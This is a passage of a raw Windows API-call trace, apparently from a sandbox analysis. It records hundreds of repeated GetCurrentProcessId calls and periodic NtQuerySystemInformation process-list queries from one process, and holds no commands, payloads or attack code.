0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.760] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.761] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0281.762] GetCurrentProcessId () returned 0xbf4 [0282.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.283] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.284] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.285] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.292] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.293] GetCurrentProcessId () returned 0xbf4 [0282.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.826] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.827] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.828] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0282.829] GetCurrentProcessId () returned 0xbf4 [0283.356] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0283.358] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.359] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.360] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.361] GetCurrentProcessId () returned 0xbf4 [0283.868] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0283.911] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.912] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.913] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0283.914] GetCurrentProcessId () returned 0xbf4 [0284.439] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.442] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] GetCurrentProcessId () returned 0xbf4 [0284.443] 